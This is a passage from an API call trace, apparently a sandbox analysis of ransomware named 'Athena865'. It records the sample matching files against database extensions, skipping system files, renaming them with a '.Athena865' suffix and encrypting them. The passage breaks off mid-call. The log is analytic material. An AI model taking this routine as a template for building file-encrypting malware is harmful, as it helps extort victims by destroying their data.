-1 [0091.120] lstrlenW (lpString="mdb") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0091.120] lstrlenW (lpString="sql") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0091.121] lstrlenW (lpString="sqlite") returned 6 [0091.121] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1 [0091.121] lstrlenW (lpString="sqlite3") returned 7 [0091.121] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1 [0091.121] lstrlenW (lpString="sqlitedb") returned 8 [0091.121] lstrcmpiW (lpString1="w120.jpg", lpString2="sqlitedb") returned 1 [0091.121] lstrlenW (lpString="xml") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0091.121] lstrlenW (lpString="$er") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0091.121] lstrlenW (lpString="4dd") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0091.121] lstrlenW (lpString="4dl") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0091.121] lstrlenW (lpString="^^^") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0091.121] lstrlenW (lpString="abs") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0091.121] lstrlenW (lpString="abx") returned 3 [0091.121] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0091.121] lstrlenW (lpString="accdb") returned 5 [0091.121] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1 [0091.121] lstrlenW (lpString="accdc") returned 5 [0091.121] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1 [0091.121] lstrlenW (lpString="accde") returned 5 [0091.121] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1 [0091.121] lstrlenW (lpString="accdr") returned 5 [0091.121] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1 [0091.121] lstrlenW (lpString="accdt") returned 5 [0091.122] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1 [0091.122] lstrlenW (lpString="accdw") returned 5 [0091.122] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1 [0091.122] lstrlenW (lpString="accft") returned 5 [0091.122] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1 [0091.122] lstrlenW (lpString="adb") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.122] lstrlenW (lpString="adb") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.122] lstrlenW (lpString="ade") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0091.122] lstrlenW (lpString="adf") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0091.122] lstrlenW (lpString="adn") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0091.122] lstrlenW (lpString="adp") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0091.122] lstrlenW (lpString="alf") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0091.122] lstrlenW (lpString="ask") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0091.122] lstrlenW (lpString="btr") returned 3 [0091.122] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0091.122] lstrlenW (lpString="cat") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0091.123] lstrlenW (lpString="cdb") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0091.123] lstrlenW (lpString="ckp") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0091.123] lstrlenW (lpString="cma") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0091.123] lstrlenW (lpString="cpd") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0091.123] lstrlenW (lpString="dacpac") returned 6 [0091.123] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1 [0091.123] lstrlenW (lpString="dad") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0091.123] lstrlenW (lpString="dadiagrams") returned 10 [0091.123] lstrcmpiW (lpString1="_bw120.jpg", lpString2="dadiagrams") returned -1 [0091.123] lstrlenW (lpString="daschema") returned 8 [0091.123] lstrcmpiW (lpString1="w120.jpg", lpString2="daschema") returned 1 [0091.123] lstrlenW (lpString="db-journal") returned 10 [0091.123] lstrcmpiW (lpString1="_bw120.jpg", lpString2="db-journal") returned -1 [0091.123] lstrlenW (lpString="db-shm") returned 6 [0091.123] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1 [0091.123] lstrlenW (lpString="db-wal") returned 6 [0091.123] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1 [0091.123] lstrlenW (lpString="dbc") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0091.123] lstrlenW (lpString="dbs") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0091.123] lstrlenW (lpString="dbt") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0091.123] lstrlenW (lpString="dbv") returned 3 [0091.123] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0091.124] lstrlenW (lpString="dbx") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0091.124] lstrlenW (lpString="dcb") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0091.124] lstrlenW (lpString="dct") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0091.124] lstrlenW (lpString="dcx") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0091.124] lstrlenW (lpString="ddl") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0091.124] lstrlenW (lpString="dlis") returned 4 [0091.124] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0091.124] lstrlenW (lpString="dp1") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0091.124] lstrlenW (lpString="dqy") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0091.124] lstrlenW (lpString="dsk") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0091.124] lstrlenW (lpString="dsn") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0091.124] lstrlenW (lpString="dtsx") returned 4 [0091.124] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0091.124] lstrlenW (lpString="dxl") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0091.124] lstrlenW (lpString="eco") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0091.124] lstrlenW (lpString="ecx") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0091.124] lstrlenW (lpString="edb") returned 3 [0091.124] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0091.124] lstrlenW (lpString="epim") returned 4 [0091.124] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0091.125] lstrlenW (lpString="fcd") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0091.125] lstrlenW (lpString="fdb") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0091.125] lstrlenW (lpString="fic") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0091.125] lstrlenW (lpString="flexolibrary") returned 12 [0091.125] lstrcmpiW (lpString1="ss_bw120.jpg", lpString2="flexolibrary") returned 1 [0091.125] lstrlenW (lpString="fm5") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0091.125] lstrlenW (lpString="fmp") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0091.125] lstrlenW (lpString="fmp12") returned 5 [0091.125] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1 [0091.125] lstrlenW (lpString="fmpsl") returned 5 [0091.125] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1 [0091.125] lstrlenW (lpString="fol") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0091.125] lstrlenW (lpString="fp3") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0091.125] lstrlenW (lpString="fp4") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0091.125] lstrlenW (lpString="fp5") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0091.125] lstrlenW (lpString="fp7") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0091.125] lstrlenW (lpString="fpt") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0091.125] lstrlenW (lpString="frm") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0091.125] lstrlenW (lpString="gdb") returned 3 [0091.125] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0091.126] lstrlenW (lpString="gdb") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0091.126] lstrlenW (lpString="grdb") returned 4 [0091.126] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0091.126] lstrlenW (lpString="gwi") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0091.126] lstrlenW (lpString="hdb") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0091.126] lstrlenW (lpString="his") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0091.126] lstrlenW (lpString="ib") returned 2 [0091.126] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0091.126] lstrlenW (lpString="idb") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0091.126] lstrlenW (lpString="ihx") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0091.126] lstrlenW (lpString="itdb") returned 4 [0091.126] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0091.126] lstrlenW (lpString="itw") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0091.126] lstrlenW (lpString="jet") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0091.126] lstrlenW (lpString="jtx") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0091.126] lstrlenW (lpString="kdb") returned 3 [0091.126] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0091.126] lstrlenW (lpString="kexi") returned 4 [0091.126] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0091.126] lstrlenW (lpString="kexic") returned 5 [0091.126] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1 [0091.126] lstrlenW (lpString="kexis") returned 5 [0091.126] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1 [0091.127] lstrlenW (lpString="lgc") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0091.127] lstrlenW (lpString="lwx") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0091.127] lstrlenW (lpString="maf") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0091.127] lstrlenW (lpString="maq") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0091.127] lstrlenW (lpString="mar") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0091.127] lstrlenW (lpString="marshal") returned 7 [0091.127] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1 [0091.127] lstrlenW (lpString="mas") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0091.127] lstrlenW (lpString="mav") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0091.127] lstrlenW (lpString="maw") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0091.127] lstrlenW (lpString="mdbhtml") returned 7 [0091.127] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1 [0091.127] lstrlenW (lpString="mdn") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0091.127] lstrlenW (lpString="mdt") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0091.127] lstrlenW (lpString="mfd") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0091.127] lstrlenW (lpString="mpd") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0091.127] lstrlenW (lpString="mrg") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0091.127] lstrlenW (lpString="mud") returned 3 [0091.127] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0091.127] lstrlenW (lpString="mwb") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0091.128] lstrlenW (lpString="myd") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0091.128] lstrlenW (lpString="ndf") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0091.128] lstrlenW (lpString="nnt") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0091.128] lstrlenW (lpString="nrmlib") returned 6 [0091.128] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1 [0091.128] lstrlenW (lpString="ns2") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0091.128] lstrlenW (lpString="ns3") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0091.128] lstrlenW (lpString="ns4") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0091.128] lstrlenW (lpString="nsf") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0091.128] lstrlenW (lpString="nv") returned 2 [0091.128] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0091.128] lstrlenW (lpString="nv2") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0091.128] lstrlenW (lpString="nwdb") returned 4 [0091.128] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0091.128] lstrlenW (lpString="nyf") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0091.128] lstrlenW (lpString="odb") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0091.128] lstrlenW (lpString="odb") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0091.128] lstrlenW (lpString="oqy") returned 3 [0091.128] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0091.129] lstrlenW (lpString="ora") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0091.129] lstrlenW (lpString="orx") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0091.129] lstrlenW (lpString="owc") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0091.129] lstrlenW (lpString="p96") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0091.129] lstrlenW (lpString="p97") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0091.129] lstrlenW (lpString="pan") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0091.129] lstrlenW (lpString="pdb") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0091.129] lstrlenW (lpString="pdm") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0091.129] lstrlenW (lpString="pnz") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0091.129] lstrlenW (lpString="qry") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0091.129] lstrlenW (lpString="qvd") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0091.129] lstrlenW (lpString="rbf") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0091.129] lstrlenW (lpString="rctd") returned 4 [0091.129] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0091.129] lstrlenW (lpString="rod") returned 3 [0091.129] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0091.129] lstrlenW (lpString="rodx") returned 4 [0091.129] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0091.129] lstrlenW (lpString="rpd") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0091.130] lstrlenW (lpString="rsd") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0091.130] lstrlenW (lpString="sas7bdat") returned 8 [0091.130] lstrcmpiW (lpString1="w120.jpg", lpString2="sas7bdat") returned 1 [0091.130] lstrlenW (lpString="sbf") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0091.130] lstrlenW (lpString="scx") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0091.130] lstrlenW (lpString="sdb") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0091.130] lstrlenW (lpString="sdc") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0091.130] lstrlenW (lpString="sdf") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0091.130] lstrlenW (lpString="sis") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0091.130] lstrlenW (lpString="spq") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0091.130] lstrlenW (lpString="te") returned 2 [0091.130] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0091.130] lstrlenW (lpString="teacher") returned 7 [0091.130] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1 [0091.130] lstrlenW (lpString="tmd") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0091.130] lstrlenW (lpString="tps") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0091.130] lstrlenW (lpString="trc") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0091.130] lstrlenW (lpString="trc") returned 3 [0091.130] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0091.131] lstrlenW (lpString="trm") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0091.131] lstrlenW (lpString="udb") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0091.131] lstrlenW (lpString="udl") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0091.131] lstrlenW (lpString="usr") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0091.131] lstrlenW (lpString="v12") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0091.131] lstrlenW (lpString="vis") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0091.131] lstrlenW (lpString="vpd") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0091.131] lstrlenW (lpString="vvv") returned 3 [0091.131] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0091.131] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg.Athena865") returned 80 [0091.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg.athena865"), dwFlags=0x1) returned 1 [0091.132] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.132] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21330) returned 1 [0091.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.133] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.133] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.133] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5660, lpName=0x0) returned 0x154 [0091.136] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5660) returned 0x100000 [0091.137] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.138] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.138] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.139] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.139] CloseHandle (hObject=0x154) returned 1 [0091.139] CloseHandle (hObject=0x17c) returned 1 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.139] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="..") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="windows") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="bootmgr") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="temp") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="pagefile.sys") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="boot") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ids.txt") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ntuser.dat") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="perflogs") returned 1 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="MSBuild") returned 1 [0091.140] lstrlenW (lpString="wmpnss_bw120.png") returned 16 [0091.140] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw120.png" | out: lpString1="wmpnss_bw120.png") returned="wmpnss_bw120.png" [0091.140] lstrlenW (lpString="wmpnss_bw120.png") returned 16 [0091.140] lstrlenW (lpString="Athena865") returned 9 [0091.140] lstrcmpiW (lpString1="bw120.png", lpString2="Athena865") returned 1 [0091.140] lstrlenW (lpString=".dll") returned 4 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".dll") returned 1 [0091.140] lstrlenW (lpString=".lnk") returned 4 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".lnk") returned 1 [0091.140] lstrlenW (lpString=".ini") returned 4 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".ini") returned 1 [0091.140] lstrlenW (lpString=".sys") returned 4 [0091.140] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".sys") returned 1 [0091.140] lstrlenW (lpString="wmpnss_bw120.png") returned 16 [0091.140] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png.Athena865") returned 80 [0091.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png.athena865"), dwFlags=0x1) returned 1 [0091.141] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6434) returned 1 [0091.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.142] CryptAcquireContextW (in: phProv=0x241d1c4, 